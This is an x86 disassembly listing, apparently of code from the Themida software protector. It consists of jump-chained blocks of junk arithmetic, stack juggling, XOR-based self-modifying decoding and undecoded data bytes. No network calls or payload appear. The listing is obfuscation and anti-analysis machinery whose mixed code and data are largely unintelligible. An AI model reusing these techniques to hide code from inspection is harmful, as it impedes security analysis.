		db 66h,	8Bh, 4
		dd 0E6895624h, 0FF3F49E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B039:				; CODE XREF: Themida_:00558846j
		add	bl, 53h
		push	ecx
		mov	ch, 14h
		inc	ch
		jmp	loc_55568A
; ---------------------------------------------------------------------------


loc_55B046:				; CODE XREF: Themida_:0055A7DBj
		shr	ecx, 2
		push	3E40h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_54F4FE
; ---------------------------------------------------------------------------
		db 88h,	0C2h, 8Bh
		dd 7BE92404h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B06B:				; CODE XREF: Themida_:00555045j
		mov	ebx, [esp]
		add	esp, 4
		pop	ecx
		push	735h
		jmp	loc_551997
; ---------------------------------------------------------------------------


loc_55B07C:				; CODE XREF: Themida_:005599E5j
		pop	ebx
		add	ebx, 6B4D411Ah
		shr	ebx, 8
		xor	ebx, 7F43BBBBh
		mov	eax, ebx
		jmp	loc_553E87
; ---------------------------------------------------------------------------


loc_55B093:				; CODE XREF: Themida_:00559190j
		xor	[eax], ebp
		pop	eax
		push	2D35h
		mov	[esp], ecx
		mov	ecx, 24h
		add	ecx, 234C0377h
		sub	ecx, 7F823755h
		add	ecx, edi
		add	ecx, 7F823755h
		sub	ecx, 234C0377h
		xor	ebp, [ecx]
		pop	ecx
		xor	[edi+24h], ebp
		push	ebp
		jmp	loc_559A4A
; ---------------------------------------------------------------------------
		db 81h,	0E3h, 14h
		dd 0F729EB3Eh, 0EBF381D3h, 89FF96F3h, 0FA015BDFh, 83243C8Bh
		dd 0C28304C4h, 24143302h, 0FF9643E9h, 0EAC059FFh, 29E28007h
		dd 8904EC83h, 73B02404h, 0C05E8C0h, 5592E9CBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B106:				; CODE XREF: Themida_:00553A89j
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_557B37
; ---------------------------------------------------------------------------
		db 81h
		dd 0F97FF0F5h, 69C58126h, 5ECFDA6h, 236C6A40h, 402DE829h
		dd 0FF236C6Ah, 0E0E92434h, 0B9FFFF7Bh, 42161201h, 0FFA23CE9h
		dd 0BC6858FFh, 0E900001Ch, 0FFFF85EDh, 3906E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B156:				; CODE XREF: Themida_:0054F1C7j
		mov	esp, [esp]
		cmp	ecx, eax
		pushf
		jmp	loc_54EA5C
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0F4h
		dd 0E9741DBEh, 0FFFF952Dh, 0E951E689h, 0FFFFD4BBh, 0E9028F66h
		dd 0FFFF38E0h, 59EB00h,	45EB80C3h, 0D1B15150h, 0D1F6D9F6h
		dd 0FF6C21E9h, 4C381FFh, 87000000h, 0C1E9241Ch
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B19F:				; CODE XREF: Themida_:00554F1Dj
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_54EA5C
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 0FF60C1E9h, 48B66FFh, 5685524h, 0E9000069h, 0FFFFB586h
		dd 2097B951h, 93B82315h, 0E9231520h, 0FFFF5ECDh, 28E9D830h
		dd 54FFFF58h, 4C2815Ah,	83000000h, 148702C2h, 24248B24h
		dd 0F66E9F6h, 6866CCB6h, 89664122h, 0F66240Ch, 5166C8B6h
		dd 384AE99Ch, 3431FFFFh, 24343324h, 8D0AE95Ch, 8956FFFFh
		dd 4BD55E6h, 1000000h, 0E9B9E9EEh, 94B7FFFFh, 4CF60054h
		dd 23h,	3F30000h, 3047B08h, 6A167FFEh, 40E8FA42h, 207005Bh
		dd 20000h, 2 dup(10000h), 6A160000h, 0FA42h, 4 dup(0)
		dd 0F40E0000h, 1910055h, 3D80057h, 0EA540057h, 0BC380056h
		dd 0BAF20056h, 6B00056h, 80AD0057h, 0C6300056h,	0D4970055h
		dd 7BF30056h, 8D220056h, 0E5320056h, 2E7B0056h,	51FF0056h
		dd 0F7DD0056h, 0D9960056h, 972D0056h, 0B6380056h, 10E60056h
		dd 0FE950056h, 0D5A0056h, 65110056h, 0DC2E0056h, 0D2440055h
		dd 71E60055h, 6F8B0056h, 0F40E0056h, 0BB0C0056h, 2EF70055h
		dd 3F770056h, 0B8EC0056h, 83AD0056h, 61670056h,	0BED80056h
		dd 33B0055h, 1F830057h,	8E730056h, 7B5E0056h, 0AE5A0056h
		dd 859E0056h, 2F7A0056h, 3B740056h, 0ECF50056h,	0C1CE0056h
		dd 0B8900055h, 3C560055h, 0EC3C0056h, 43990055h, 0E8FB0056h
		dd 5FFC0056h, 7ECA0056h, 69470056h, 0DB0056h, 2B7E0057h
		dd 35540056h, 0D0D20056h, 0B6520056h, 78B80055h, 0FBBC0056h
		dd 54640055h, 7D670056h, 72000056h, 9D50056h, 73ED0056h
		dd 8B080056h, 8CCA0056h, 0BF3D0056h, 0CAA40055h, 0CB50055h
		dd 9C1A0056h, 0EFEA0056h, 705E0055h, 0C5980056h, 0F4E80056h
		dd 0A2FF0055h, 0C4410056h, 45D80055h, 0FB4D0056h, 0BEA60056h
		dd 41C80055h, 99F20056h, 0F3AC0056h, 145C0056h,	0ECBE0056h
		dd 6B5D0056h, 16620056h, 3B820056h, 0EE410056h,	0E7A80055h
		dd 1BD00056h, 0B42B0056h, 9F510056h, 225D0056h,	8E260056h
		dd 0AB800056h, 0F44F0056h, 4E610056h, 0D8B70056h, 0FEB00056h
		dd 0FF170055h, 54AB0055h, 9DE00056h, 0A2E10056h, 0BA0C0056h
		dd 430C0055h, 0B2330056h, 5DF00056h, 5B770056h,	0E4A50056h
		dd 0F780056h, 547D0056h, 0C50D0056h, 0E9DD0055h, 0F0890056h
		dd 22CF0056h, 0F8510056h, 7B7E0055h, 0BB170056h, 58D40055h
		dd 5AD80056h, 0E52B0056h, 629A0055h, 97840056h,	0D4570056h
		dd 0EF690055h, 12370056h, 915D0056h, 25740056h,	0E7940056h
		dd 0E2BE0055h, 0C5F70055h, 4A6F0055h, 0EE1F0056h, 5190056h
		dd 47A60056h, 3FF0056h,	0F42F0057h, 0EFD40056h,	3D290056h
		dd 331A0056h, 0DB910056h, 0F7230055h, 0E9F70056h, 0EF310055h
		dd 82430055h, 2EBB0056h, 27780056h, 7060056h, 5E8C0057h
		dd 4E040056h, 0F0FF0056h, 34C60056h, 99A20056h,	4FC0056h
		dd 0EBE00057h, 0DF3B0056h, 1F2B0056h, 0EA4D0056h, 8BEA0055h
		dd 61560056h, 4BC10056h, 0B6760056h, 9AB60056h,	12480056h
		dd 4E0A0056h, 0F7730056h
		db 55h,	0
; ---------------------------------------------------------------------------


loc_55B50E:				; CODE XREF: Themida_:005A464Aj
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6134B00h
		mov	eax, edi
		add	edi, 6134818h
		cmp	eax, [edi+2Ch]
		jnz	short loc_55B52C
		jmp	short loc_55B53F
; ---------------------------------------------------------------------------


loc_55B52C:				; CODE XREF: Themida_:0055B528j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_55B53B
; ---------------------------------------------------------------------------


loc_55B536:				; CODE XREF: Themida_:0055B53Dj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_55B53B:				; CODE XREF: Themida_:0055B534j
		or	ecx, ecx
		jnz	short loc_55B536


loc_55B53F:				; CODE XREF: Themida_:0055B52Aj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_55B54C:				; CODE XREF: Themida_:0055B553j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_55B54C


loc_55B555:				; CODE XREF: Themida_:0055B694j
					; Themida_:0055BCA5j ...
		lodsb
		push	edx
		mov	dl, 0C0h
		neg	dl
		and	dl, 2Dh
		sub	dl, 1
		shr	dl, 2
		sub	esp, 4
		jmp	loc_56376A
; ---------------------------------------------------------------------------


loc_55B56F:				; CODE XREF: Themida_:00567BCAj
		push	ecx
		mov	ecx, 5CA34B0Eh
		push	ebx
		mov	ebx, 12FE2605h
		xor	ecx, ebx
		pop	ebx
		add	ecx, 1AB45AADh
		xor	ecx, 36A39015h
		jmp	loc_55E601
; ---------------------------------------------------------------------------


loc_55B58F:				; CODE XREF: Themida_:0056B33Aj
		sub	ebp, 45830FA2h
		mov	ebx, [esp]
		add	esp, 4
		add	edi, ebp
		jmp	loc_56E4CB
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 4
		dd 89000000h, 0EE815EF0h, 8C268EAh, 1A99C681h, 0C6813A97h
		dd 6ADF6923h, 0EE81C601h, 6ADF6923h, 1A99EE81h,	0BD553A97h
		dd 6403382Fh, 30BBC581h, 0EE01A4BFh, 2434FF5Dh,	0E03E958h
		db 1, 0
; ---------------------------------------------------------------------------


loc_55B5E6:				; CODE XREF: Themida_:0055B76Bj
		dec	ecx
		jmp	loc_568FBD
; ---------------------------------------------------------------------------


loc_55B5EC:				; CODE XREF: Themida_:0056D846j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_568508
; ---------------------------------------------------------------------------
aAqSd		db '€ï\é„',0Ah,0
		dd 24048100h, 4, 5D2434FFh, 0E904C483h,	13611h,	2777F681h
		dd 0B9511C65h, 1EE7DB01h, 0F9E9CE01h, 1000024h,	4EC83FEh
		dd 0BD242C89h, 4493565Bh, 66AFE9h
		db 0
; ---------------------------------------------------------------------------


loc_55B635:				; CODE XREF: Themida_:00568F0Aj
		add	bl, 6Bh
		add	bl, al
		sub	bl, 6Bh
		push	eax
		jmp	loc_5636A9
; ---------------------------------------------------------------------------
		db 5Fh
		dd 4C481h, 0E3C10000h, 269DE907h, 8B660000h, 0EC812404h
		dd 4, 0E9240C89h, 11C49h
; ---------------------------------------------------------------------------


loc_55B664:				; CODE XREF: Themida_:00562E32j
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	esp
		pop	dword ptr [esp]
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55B555
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 4EC81h, 99E90000h, 29000129h, 2434FFF8h, 83243C8Bh
		dd 0E46804C4h, 8900000Dh, 8953240Ch, 4C381E3h, 81000000h
		dd 4EBh, 241C8700h, 2424895Ch, 4240483h, 81240C8Bh, 4C4h
		dd 4EC8300h, 0E9243C89h, 9626h,	24C38158h, 0E965F426h
		dd 0B116h, 7E8EC681h, 0EE8177E5h, 0A92A8E8Dh, 15EF589h
		dd 0D8F75DE8h, 3502E8C1h, 15CE07ABh, 0E958C701h, 0D84Fh
		dd 7724685Ch, 0C890000h, 416D6824h, 0E6E90000h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B72B:				; CODE XREF: Themida_:0055BF38j
		sub	eax, 1B6C57FDh
		jmp	loc_562EA8
; ---------------------------------------------------------------------------
		db 34h,	1, 0E9h
		dd 13A9Ch, 405h, 4C08300h, 8B240487h, 25E92424h, 6800000Fh
		dd 295Eh, 2370E9h, 35D8F700h, 155A65A2h, 0EE2F9105h, 4CC1E928h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B76A:				; CODE XREF: Themida_:0055EFD4j
		inc	ecx
		jmp	loc_55B5E6
; ---------------------------------------------------------------------------
		dd 0D4C5805Ch, 11C53E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B779:				; CODE XREF: Themida_:0056CD26j
		push	520C2373h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56C7FF
; ---------------------------------------------------------------------------
		dd 8104C483h, 43013DC6h, 0F4C68171h, 0C13CE51Eh, 0CE8704EEh
		dd 13E9D1F7h, 83000114h, 0AB6804C4h, 8900001Ch,	5A542414h
		dd 4E1868h, 241C8900h, 805779BBh, 77BE562Eh, 0F71B9075h
		dd 4EC81D6h, 0E9000000h, 0D62Bh, 4096D6F7h, 146268h, 24048900h
		dd 0E92404FFh, 0A3ECh, 0C108E8C1h, 0E5E905E8h
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B7F3:				; CODE XREF: Themida_:00560A52j
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_56EC6B
; ---------------------------------------------------------------------------
		dw 295Bh
		dd 3EBCE9EEh
		db 1, 0
; ---------------------------------------------------------------------------


loc_55B806:				; CODE XREF: Themida_:0055CD96j
		mov	[esp], ecx
		push	edx
		push	783C28AEh
		pop	edx
		sub	edx, 35035506h
		add	edx, 702F077Ch
		sub	edx, 2BA70095h
		add	edx, 0A91C72A2h
		mov	ecx, edx
		pop	edx
		push	ecx
		push	ebx
		pop	ecx
		pop	ebx
		xchg	edi, ebx
		not	edi
		xchg	edi, ebx
		xor	ecx, ebx
		jmp	loc_563E47
; ---------------------------------------------------------------------------


loc_55B83C:				; CODE XREF: Themida_:00565546j
		dec	ebp
		xor	ebp, 52922782h
		add	esi, ebp
		pop	ebp
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55FC88
; ---------------------------------------------------------------------------


loc_55B858:				; CODE XREF: Themida_:005605BEj
		push	edx
		jmp	loc_569B17
; ---------------------------------------------------------------------------


loc_55B85E:				; CODE XREF: Themida_:0055B930j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_568CF0
; ---------------------------------------------------------------------------


loc_55B874:				; CODE XREF: Themida_:00565DCBj
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55E257
; ---------------------------------------------------------------------------
		dd 8904EC83h, 2EE9242Ch, 81000053h, 4ECh, 240C8900h, 0F80BB53h
		dd 0DBF72784h, 127C5E9h, 24048300h, 2434FF04h, 4C48358h
		dd 4EC81h, 34890000h, 0A7CDE924h, 0D7F70000h, 0E27CE9h
		db 0
; ---------------------------------------------------------------------------


loc_55B8D1:				; CODE XREF: Themida_:0055E719j
		pop	esi
		add	edx, 348C1F6Ch
		mov	edi, [esp]
		jmp	loc_561DB0
; ---------------------------------------------------------------------------
aBalsCsC	db 'í‹sÓcéÜç',0
		dw 5B00h
		dd 4C481h, 0F3810000h, 738B60F7h, 0E951DBF7h, 12A0Fh, 5E2434FFh
		dd 0E9E68956h, 6855h, 0C581E589h, 4, 148BFE9h, 89DD8900h
		dd 242C8BE9h, 0F615E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B925:				; CODE XREF: Themida_:0056750Fj
		add	eax, 4
		add	eax, 4
		push	eax
		jmp	loc_55B85E
; ---------------------------------------------------------------------------
		db 30h,	0D7h, 5Ah
		dd 0FFFCB8E9h, 241433FFh, 8124248Bh, 900D00EBh,	57C30134h
		dd 0C7815F54h, 4, 4EF81h, 3C330000h, 243C3124h,	0E16AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55B965:				; CODE XREF: Themida_:0055F82Aj
		add	ebp, eax
		push	eax
		mov	eax, 1E68350Ch
		jmp	loc_56FE53
; ---------------------------------------------------------------------------
		dw 3489h
		dd 46824h, 0E95E0000h, 0E3DAh
; ---------------------------------------------------------------------------


loc_55B980:				; CODE XREF: Themida_:0055E12Bj
		pop	ebx
		add	ebx, 47E44EF1h
		jmp	loc_55F3FE
; ---------------------------------------------------------------------------


loc_55B98C:				; CODE XREF: Themida_:005673A1j
		push	eax
		push	1C6Ch
		mov	[esp], edi
		mov	edi, 35B4F90h
		jmp	loc_55F6F4
; ---------------------------------------------------------------------------
		db 87h
		dd 2DE9240Ch
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B9A7:				; CODE XREF: Themida_:00563444j
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_56F26C
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 24148B00h, 4A47E956h, 0B6BA0001h, 811A5B55h, 4ECh
		dd 240C8900h, 0E4175DB9h, 8BCA314Bh, 0C483240Ch, 2EAC104h
		dd 8E5EE9h
		db 0
; ---------------------------------------------------------------------------


loc_55B9ED:				; CODE XREF: Themida_:0055F5B8j
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_56F4B7
; ---------------------------------------------------------------------------


loc_55B9F9:				; CODE XREF: Themida_:00564091j
		mov	ecx, 9CA5AF7h
		jmp	loc_5614DD
; ---------------------------------------------------------------------------
		db 4
		dd 0E9852CFFh, 76Ah, 28B6664h, 0E904EC83h, 1766h
; ---------------------------------------------------------------------------


loc_55BA18:				; CODE XREF: Themida_:00563520j
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jz	loc_5647C1
		push	dword ptr [edi+1Ch]
		push	5506h
		jmp	loc_561818
; ---------------------------------------------------------------------------


loc_55BA37:				; CODE XREF: Themida_:0055D042j
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_56DD66
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 5C971776h, 749DE9h, 24048B00h, 5E08950h, 4, 405h, 24043300h
		dd 33240431h, 0E95C2404h, 0AB24h, 8747FA87h, 0F7DA87FAh
		dd 81DA87D3h, 0FF481AEAh, 64B850F7h, 17A8958h, 65F8E9C1h
		dd 0BD550000h, 2, 36E9EB01h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55BA97:				; CODE XREF: Themida_:005677A4j
		not	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		shl	ebp, 3
		sub	esp, 4
		jmp	loc_56567B
; ---------------------------------------------------------------------------
		dw 0C583h
		dd 0E9515301h, 3BC7h
; ---------------------------------------------------------------------------


loc_55BAB8:				; CODE XREF: Themida_:0056D0AAj
		dec	dh
		sub	dh, 30h
		xor	ch, dh
		pop	edx
		jmp	loc_56F653
; ---------------------------------------------------------------------------
		db 66h,	81h, 0F7h
		dd 0C16666BFh, 816606E7h, 66E259F7h, 0E95FFE01h, 0E509h
		dd 3EEF055Ah, 4AE97042h, 0F00006Dh, 3768C8B6h, 89000045h
		dd 5EE9240Ch, 0E9FFFFFAh, 0FFFFFA59h, 0EB2866B5h, 240C8B66h
		dd 0E904EC83h, 102A5h, 0FF2434FFh, 38E92434h, 0FF000052h
		dd 48B2434h, 4C48324h, 0E6C5E950h, 0EA810000h, 4961A1h
		dd 20C668h, 24148900h, 12E7FE9h
		db 0
; ---------------------------------------------------------------------------


loc_55BB39:				; CODE XREF: Themida_:0056330Dj
		add	esp, 4
		add	bl, 0ACh
		add	bl, al
		sub	bl, 0ACh
		push	ecx
		push	edx
		jmp	loc_5689E7
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24048324h, 0EC835D04h, 24148904h, 4BAh, 0FFD50100h
		dd 0E3E92434h, 8900005Bh, 7EE92424h, 5B000100h,	4C481h
		dd 44040000h, 442CE828h, 59665A04h, 8080B652h, 0EE8049C6h
		dd 0F7DDE9ACh, 0A8B70000h, 825EF80h, 0FB685BFEh, 8900005Bh
		dd 0F9B42404h, 6858E630h, 4D47h, 0B5240C89h, 8BEE2892h
		dd 5E9240Ch, 0BA000133h, 4, 4245401h, 0E6685A5Ah, 8900002Ch
		dd 4B9240Ch, 1000000h, 0E0E959CAh
		db 9Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55BBDB:				; CODE XREF: Themida_:0056CA6Cj
		pop	edi
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56CECF
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F3E902E1h, 5A000050h, 0AE5CE9h, 0D2E95400h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55BC03:				; CODE XREF: Themida_:00563771j
		push	ax
		neg	byte ptr [esp]
		jmp	loc_560F2A
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 2
		dd 241C8966h, 0D93058B3h, 0C8205B66h, 0E92434FFh, 0A89Dh
		dd 8E69892Dh, 5D82964h,	648E6989h, 5D41BB53h, 0F38113D8h
		dd 4D2F5660h, 6E9D801h,	540000CBh
		db 8Bh,	14h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0DC2h
		jmp	loc_570184
; ---------------------------------------------------------------------------
		dd 7C5CC381h, 0D921392Eh, 56241C8Bh, 93E9E689h,	3100009Eh
		dd 2C33242Ch, 0A1A2E924h, 81420000h, 44D4F2C2h,	5D90051Ch
		dd 0D029434Ch, 4C5D902Dh, 3C8B5A43h, 4C48324h, 7EBF68h
		dd 240C8900h, 590F68h, 241C8900h, 0FC95E9h
		db 0
; ---------------------------------------------------------------------------


loc_55BCA1:				; CODE XREF: Themida_:0056B71Aj
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55B555
; ---------------------------------------------------------------------------
		dw 0EE83h
		dd 1D83E901h, 2C8B0001h, 4C48324h, 632C68h, 242C8900h
		dd 0B932E9h, 241C8700h,	8FBD5559h, 31016A64h, 0E9E931CDh
		dd 7C03h
; ---------------------------------------------------------------------------


loc_55BCD8:				; CODE XREF: Themida_:0056C854j
		pop	esp
		sub	edx, 712B4AEFh
		push	edx
		xor	dword ptr [esp], 6409086Eh
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 6409086Eh
		xor	edi, ebx
		pop	ebx
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_560BA7
; ---------------------------------------------------------------------------
		db 0B1h, 22h, 0E9h
		dd 124B0h, 0C380C328h, 0B60F5826h, 148B66C0h, 13B36824h
		dd 2C890000h, 4EC8324h,	24048F54h, 0FFF8D4E9h, 241C89FFh
		dd 0E1895150h, 6BE5E9h
		db 0
; ---------------------------------------------------------------------------


loc_55BD35:				; CODE XREF: Themida_:0056AB8Dj
		xchg	ebp, [esp]
		jmp	loc_56BE95
; ---------------------------------------------------------------------------
		db 35h,	0F8h, 27h
		dd 0C689183Bh, 4032B858h, 0F0312AAFh, 842EE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BD52:				; CODE XREF: Themida_:00568614j
		push	1DE4h
		mov	[esp], edx
		push	ebx
		jmp	loc_565C57
; ---------------------------------------------------------------------------
		dd 2808C381h, 0EB01459Fh, 2808EB81h, 34FF459Fh,	0D0C3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BD76:				; CODE XREF: Themida_:0056D3ECj
		sub	ebx, 58E575DFh
		jmp	loc_55C7A6
; ---------------------------------------------------------------------------
		db 28h,	0D3h, 5Ah
		dd 5099EB80h, 0EB807CB0h, 0FF76E926h, 1C89FFFFh, 503BB724h
		dd 0C480B6B4h, 0A1CC80FFh, 5366DCF6h, 4F6E9h, 2414F700h
		dd 0E9240C8Bh, 137B9h, 81241C8Bh, 4ECh,	4AB6E900h, 0A6B90000h
		dd 3124FD1Dh, 24148BD1h, 0B19FE9h, 66DC0000h, 0C0EF805Bh
		dd 6CE9E728h, 530000B3h, 7E46E2BBh, 0B922B841h,	0D801BE81h
		dd 0ABED815Bh, 812AA36Ch, 0F2125CEDh, 81C50114h, 0F2125CC5h
		dd 0ABC58114h, 0E92AA36Ch, 29D2h, 0E903E3C1h, 13C97h, 68242C89h
		dd 0D00h, 4D57E9h, 28F38100h, 81285036h, 371DF3C3h, 5BD90993h
		dd 13AEEE9h
		db 0
; ---------------------------------------------------------------------------


loc_55BE35:				; CODE XREF: Themida_:0056A91Aj
		shr	ecx, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 39241CEh
		jmp	loc_564CA0
; ---------------------------------------------------------------------------


loc_55BE48:				; CODE XREF: Themida_:0056F9D4j
		push	ecx
		pop	eax
		pop	ecx
		add	[esp+4], eax
		pop	eax
		pop	ecx
		push	eax
		push	ebx
		mov	ebx, 6B9850BBh
		mov	eax, ebx
		pop	ebx
		shl	eax, 3
		add	eax, 0A33D7A2Ch
		add	ecx, 2B5C7101h
		push	esi
		mov	esi, 5C864565h
		sub	ecx, esi
		pop	esi
		add	ecx, 26CA4B72h
		sub	ecx, 28505ABCh
		add	ecx, eax
		add	ecx, 28505ABCh
		sub	ecx, 26CA4B72h
		jmp	loc_55F92E
; ---------------------------------------------------------------------------


loc_55BE91:				; CODE XREF: Themida_:0055CDB2j
		add	ecx, 2C622297h
		pop	ebp
		add	ecx, ebp
		sub	ecx, 6C9B28CBh
		pop	ebp
		jmp	loc_56DDE8
; ---------------------------------------------------------------------------
aM0Srsg		db '¬0ØSRéG¸',0
		align 10h


loc_55BEB0:				; CODE XREF: Themida_:00561357j
		mov	ebx, ebp
		pop	ebp
		xor	[esp+4], ebx
		pop	ebx
		pop	ebx
		push	edi
		mov	edi, 52C15F74h
		xor	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_563674
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0CDCE9h, 4BB00h, 0E6E90000h, 290000DAh, 0C3295FFBh
		dd 380AC381h, 0C3812146h, 6A451AA2h, 0B60F66h, 12196866h
		dd 24048966h, 2E4EE9h
		db 0
; ---------------------------------------------------------------------------


loc_55BF0D:				; CODE XREF: Themida_:00561646j
		shr	ebp, 4
		push	edx
		push	eax
		push	5D286E57h
		pop	eax
		jmp	loc_55FC27
; ---------------------------------------------------------------------------
		db 58h,	0E9h, 3Ah
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55BF23:				; CODE XREF: Themida_:00568EC8j
		pop	ebx
		and	eax, ebp
		push	dword ptr [esp]
		jmp	loc_56640B
; ---------------------------------------------------------------------------


loc_55BF2E:				; CODE XREF: Themida_:0056DC6Bj
		add	eax, 541C47B5h
		sub	eax, 39333BE3h
		jmp	loc_55B72B
; ---------------------------------------------------------------------------
		db 0ACh, 68h, 0A4h
		dd 8900001Eh, 9AE9241Ch
		db 0F9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BF4B:				; CODE XREF: Themida_:0055DAF7j
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		sub	esp, 4
		jmp	loc_568583
; ---------------------------------------------------------------------------
		dw 0E581h
		dd 468F2510h, 5C54E957h, 0E9580000h, 8FB6h, 5C243433h
		dd 9C240400h, 0FFF5D8E9h, 0BFC381FFh, 8B5D7A54h, 8950240Ch
		dd 405E0h, 4050000h, 87000000h,	685C2404h, 300Eh, 0B9240C89h
		dd 2, 0E959CB01h, 415Bh, 0C103EFC1h, 0E78104E7h, 335470C5h
		dd 8108E7C1h, 5874D4F7h, 0ABF78122h, 1146CF4h, 73B3E9F8h
		dd 0E9680000h, 89000071h, 0E3BE2434h, 31726924h, 2434FFF0h
		dd 4EC815Eh, 89000000h,	62E9242Ch, 6800000Fh, 74C5h, 0E9241C89h
		dd 0BB4Ah
; ---------------------------------------------------------------------------


loc_55BFFC:				; CODE XREF: Themida_:00563F65j
		sub	ecx, 7EFE40D9h
		push	eax
		mov	eax, 4D8D0CBFh
		xor	eax, 61FB6179h
		jmp	loc_566B97
; ---------------------------------------------------------------------------


loc_55C012:				; CODE XREF: Themida_:0056FF14j
		add	eax, esi
		pop	esi
		jmp	loc_561909
; ---------------------------------------------------------------------------
		dw 0F901h
		dd 1284B850h, 8EE95294h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C027:				; CODE XREF: Themida_:005657B6j
		and	edi, ebx
		mov	ebx, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_55FDE2
; ---------------------------------------------------------------------------
aUhf3		db 'Uhf3',0
		align 10h
aSud		db 'éž„',0
		dd 0B9515B00h, 2AE90C49h, 0E903E1C1h, 24A4h, 5276EA81h
		dd 0BE56108Fh, 50B53149h, 348BF209h, 4C48124h, 0F7000000h
		dd 0E95152D2h, 0F78Dh
; ---------------------------------------------------------------------------


loc_55C074:				; CODE XREF: Themida_:0056B2E1j
		pop	dword ptr [ecx]
		xor	dword ptr [ecx], 598322B0h
		jmp	loc_55E9C6
; ---------------------------------------------------------------------------
		db 50h,	52h, 88h
		dd 5796E9FEh, 48F0000h,	5896E924h, 0EF810000h, 3EAB378Dh
		dd 0FF5FF929h, 685E2434h, 19C5h, 89240489h, 405E0h, 0C0830000h
		dd 24048704h, 240C335Ch, 33240C31h, 0D35C240Ch,	8EE92424h
		dd 83FFFFF4h, 0CE8104C4h, 47126FE6h, 0DB868h, 24048900h
		dd 4EC81h, 34890000h, 5D56BE24h, 0E8B871C0h, 2D7FB6C0h
		dd 4ED51164h, 6405F029h, 5E4ED511h, 1354AE9h, 240C8900h
		dd 0B62515B9h, 0CBA4E95Ch, 0E9540000h, 0C750h, 0E924248Bh
		dd 1D0Ch, 8B241C87h, 9D612424h,	17C3E9h, 4EC8100h, 89000000h
		dd 6855243Ch, 4DF23CDh,	6DCD815Dh, 814CF83Dh, 4ECh, 24048900h
		dd 0F35E957h, 0F2800001h, 5AD02862h, 0E951F828h, 6286h
; ---------------------------------------------------------------------------


loc_55C158:				; CODE XREF: Themida_:005606B1j
		xor	edx, 0FA54546h
		jmp	loc_568E2E
; ---------------------------------------------------------------------------
		db 59h
